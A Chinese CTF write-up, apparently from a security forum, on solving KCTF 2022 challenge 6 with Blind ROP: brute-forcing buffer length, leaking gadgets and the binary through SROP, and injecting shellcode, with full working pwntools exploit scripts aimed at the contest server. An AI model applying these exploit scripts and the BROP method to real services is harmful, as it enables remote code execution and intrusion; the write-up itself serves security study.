首页
论坛
课程
招聘
[原创]KCTF第六题废土末世wp
2022-6-2 07:56 6874

[原创]KCTF第六题废土末世wp

2022-6-2 07:56
6874

定义

来自CTF wiki:
BROP 是没有对应应用程序的源代码或者二进制文件下,对程序进行攻击,劫持程序的执行流
攻击条件

  • 源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
  • 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的

基本思路

暴力枚举获取栈溢出长度,逐字符比较泄露返回地址,获取gadget,leak出ELF进行进一步分析,写rop来getshell

实战

接下来我们以2022 KCTF 的第六题废土末世为例子,一起来分析一下BROP类题目的解题流程

泄露缓冲区长度

如果是BROP类题目,那么一定会有溢出点,所以首先通过爆破获取缓冲区长度:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def get_overflow_length():
    global io
    len=1
    while True:
        try:
            io=remote("221.228.109.254",10045)
            sa("hacker, TNT!\n",'a'*len)
            print("now trying length is "+str(len))
            res=io.recv()
            io.close()
            if "TNT TNT!" not in res:
                return len-1
            else:
                len+=1
        except EOFError:
            io.close()
            return len-1
print("overflow length is "+str(get_overflow_length()))

然后来看看结果在这里插入图片描述

 

可以看到缓冲区长度应该是16

泄露程序结构

接下来就是要去泄露程序内容,这里我们将程序返回结果分为三种:

  • 正常运行
  • 等待输入或陷入死循环
  • 程序崩溃,接收到EOF
    ```python
    def probe(payload):
    global io
    try:
    1
    2
    3
    4
    5
    6
    7
    io=remote('221.228.109.254',10031)
    sa("hacker, TNT!\n",payload)
    res=io.recv(timeout=3)
    if "TNT" in res:
        return "success"
    else:
        return "stuck"
    except:
    1
    return "crash"
1
2
3
4
5
对于本道题来说,知道缓冲区为16,所以要爆破的是第十七字节,从0255,于是写下如下代码:
```python
ans=open("ans.txt",'wb')
for i in range(256):
    ans.write(hex(i)+"----->"+probe('a'*16+chr(i))+'\n')

然后来看看爆破结果:
在这里插入图片描述

 

可以看到有两种情况都能让程序继续运行,分别是0xb0和0xce,我们来试一下:
在这里插入图片描述
在这里插入图片描述

 

这里会发现,当输入的是0xb0的时候程序直接重启了,所以直接推测输入0xb0是直接返回到了程序入口

 

当输入是0xce的时候是执行的正常流程。并且这里能够看出程序在读取输入的时候是调用了一个call了一个函数的,这样程序的结构才是输入,返回到下一个输出.

 

现在我们确定了原本程序的第十七个字节应该是0xce,以此为基础继续单字节爆破:

1
2
3
ans=open("ans.txt",'wb')
for i in range(256):
    ans.write(hex(i)+"----->"+probe('a'*16+'\xce'+chr(i))+'\n')

在这里插入图片描述

 

再爆破一字节:
在这里插入图片描述

 

到这里可以得到的结论就多起来了,首先是0x40,把爆破得到的三个字节组合一下:
0x4000ce,这不就是一个64位没开pie的程序的text段上的地址嘛

 

从这里我们大致猜测出了程序的架构,程序的保护情况(没开canary,没有pie)

 

再看这个0x60,说实话有点奇怪,为什么会有0x60,如果程序是64位没开pie,那么0x600000应该是数据段,正常来说应该不能执行的,但是如果本道题0x6000000段是rwx的呢,或者说没有开NX保护呢?都是有可能的,我们先暂且放一放这个0x60,继续通过0x40这里得到的结论来做

 

到这里我呢大概猜测出程序结构:

 

0x4000b0 程序入口

 

打印内容

 

call 读取输入

 

0x4000ce 打印 "TNT TNT!"

寻找gadget

首先要找的就是ret,寻找方式其实也很简单,现在我们已经知道了程序正常执行的地址,如果把返回地址改成0x400xxx,然后把返回地址的下一个地址改成0x4000ce,如果正常运行了则说明返回地址处填写的是一个以ret结尾的gadget,至于会不会是其它操作+ret这种格式,其实不用担心,因为如果是这样的话,那么后面更大的地址处也会出现ret,所以只需要取地址最大的那个gadget,就一定是纯ret指令的地址。

 

一开始让倒数第三位为0进行爆破,发现跑出来的只有0xb0和0xce这两个老熟人,于是换成0x4001xx来爆破:

1
2
3
ans=open("ans.txt",'wb')
for i in range(256):
    ans.write(hex(i)+"----->"+probe('a'*16+p64(0x400100+i)+p64(0x4000ce))+'\n')

在这里插入图片描述

 

找到了两个新的success,根据上面的结论,0x400011是什么我不知道,但是我知道0x400106一定是ret指令

 

接下来要泄露的是syscall,这里可能有人会有疑惑,按照以往rop的经验,现在不是应该去寻找类似pop rdi;ret这类可以设置寄存器的gadget吗,但是对于这道题来说,它既然代码段小的可怜,很有可能并没有这些寄存器,而是采用syscall的形式来做到输入输出。而且最后我们控制程序执行流也是落到syscall指令,最后的一点原因,syscall比较好找。

 

如何来找呢,回头看我们会发现,我们到这里了还没有关注过stuck,这个程序结构非常简单,所以stuck基本不可能是因为进入了死循环,那么stuck住了说明程序要获取输入了,有几种情况呢,比如执行到了syscall,比如执行到了call 读取输入这条指令。

 

我们现在分析出的程序结构,在获取输入的时候应该是通过call来完成的,而正确的返回地址是0x4000ce,call指令一般是五个字节,所以可以合理的分析出,如果返回地址被我们填成0x4000c9,程序应该会再次获取输入,也就是会stuck住,我们来看看结果:

 

在这里插入图片描述
在这里插入图片描述

 

大致整理一下,会stuck的有:
0xb5,0xb6,0xb8,0xc2,0xc7,0xc9,0xec, 0xed, 0xee, 0xef, 0xf2, 0xf3

 

可以看到0xc9确实会stuck住,并且0xc7也会,一个syscall是两字节,这里猜测是0xc7为syscall,执行的是write,然后call 获取输入

 

到这里我们其实已经可以控制程序执行流了,只需要用SROP技术,先通过读入指定长度的数据控制rax,然后执行syscall,在后面设置好寄存器即可控制执行流。利用执行流执行write(1,0x400000,0x2000)即可把远程的程序直接leak下来,拿到ida里静态分析就舒服多了。

 

在具体做的时候要注意rop里不能用0xc9那里的call,会扰乱执行流,并且我们发现0xec, 0xed, 0xee, 0xef, 0xf2, 0xf3这几个也可以让程序stuck,所以这里很容易想到这几个地址应该是获取输入的函数内的地址,所以这里避开call指令,直接调到函数入口处实现读入,所以返回地址填成0x40000ec试试看能不能成功:

1
2
3
4
5
6
7
8
9
10
11
12
13
io=remote('221.228.109.254',10001)
ret=0x400106
sigframe = SigreturnFrame()
sigframe.rax = 1
sigframe.rdi = 1
sigframe.rsi = 0x400000
sigframe.rdx = 0x1000
sigframe.rip = 0x4000c7
payload=b'a'*16+p64(0x4000ec)+p64(0x4000c7)+bytes(sigframe)
io.send(payload)
sleep(1)
io.send('a'*15)
irt()

在这里插入图片描述
可以看到成功将程序本身打印出来了,我们接收一下,拿到二进制文件放进IDA里看看:

 

在这里插入图片描述

 

从IDA分析的结果来看,程序的结构和我们分析的基本一致。
放进gdb看一下发现0x600000居然是rwx段,所以说当初跳到0x6000xx的时候也能success
在这里插入图片描述

 

接下来就是思考如何getshell,这里其实直接srop写shellcode然后执行就可以了

 

如果0x600000段不是rwx的呢,也是可以做的,还是先通过srop将栈迁移到0x600000段上并且执行mprotect,因为程序段中有syscall ;call read这种代码片段,并且read函数在读入的时候是完全根据rsp来确定向哪里读入的,所以我们始终可以通过覆盖返回地址控制执行流。

 

最后附上解题exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from re import L
from pwn import *
from ctypes import *
from LibcSearcher import *
#context.log_level = 'debug'
context.arch='amd64'
#io=process("./pwn")
#io = process(['./ld.so','./pwn'],env={"LD_PRELOAD":"./libc.so.6"})
#elf=ELF('./pwn')
#io = remote('47.106.122.102',48752)
#libc = ELF('./libc-2.23.so')
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
rn = lambda x            : io.recvn(x)
sn = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
irt = lambda            : io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
# lg = lambda s,addr        : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data        : u32(data.ljust(4, b'\x00'))
uu64 = lambda data        : u64(data.ljust(8, b'\x00'))
def get_overflow_length():
    global io
    len=1
    while True:
        try:
            io=remote("221.228.109.254",10045)
            sa("hacker, TNT!\n",'a'*len)
            print("now trying length is "+str(len))
            res=io.recv()
            io.close()
            if "TNT TNT!" not in res:
                return len-1
            else:
                len+=1
        except EOFError:
            io.close()
            return len-1
def probe(payload):
    global io
    try:
        io=remote('221.228.109.254',10001)
        sa("hacker, TNT!\n",payload)
        res=io.recv(timeout=3)
        if "TNT" in res:
            return "success"
        else:
            return "stuck"
    except:
        return "crash"
def leak_ELF():
    io=remote('221.228.109.254',10001)
    io.recvuntil(b"hacker, TNT!\n")
    ret=0x400106
    sigframe = SigreturnFrame()
    sigframe.rax = 1
    sigframe.rdi = 1
    sigframe.rsi = 0x400000
    sigframe.rdx = 0x1000
    sigframe.rip = 0x4000c7
    payload=b'a'*16+p64(0x4000ec)+p64(0x4000c7)+bytes(sigframe)
    io.send(payload)
    sleep(1)
    io.send('a'*15)
    r=io.recv()
    with open("bin", "wb") as f:
        f.write(r)
    io.close()
io=remote('221.228.109.254',10057)
io.recvuntil(b"hacker, TNT!\n")
 
sigframe = SigreturnFrame()
sigframe.rip = 0x4000ee
sigframe.rsp = 0x600800
 
io.send(b'a'*16 + p64(0x4000ee) + p64(0x400100) + bytes(sigframe))
sleep(1)
 
io.send(b'a'*15)
sleep(1)
 
io.send(b'a'*16 + p64(0x600808) + asm(shellcraft.sh()))
 
io.interactive()

成功打通:
在这里插入图片描述


恭喜ID[飞翔的猫咪]获看雪安卓应用安全能力认证高级安全工程师!!

收藏
点赞6
打赏
分享
最新回复 (1)
雪    币: 2647
活跃值: 活跃值 (3210)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
badboyl 活跃值 2 2022-7-6 16:07
2
0
游客
登录 | 注册 方可回帖
返回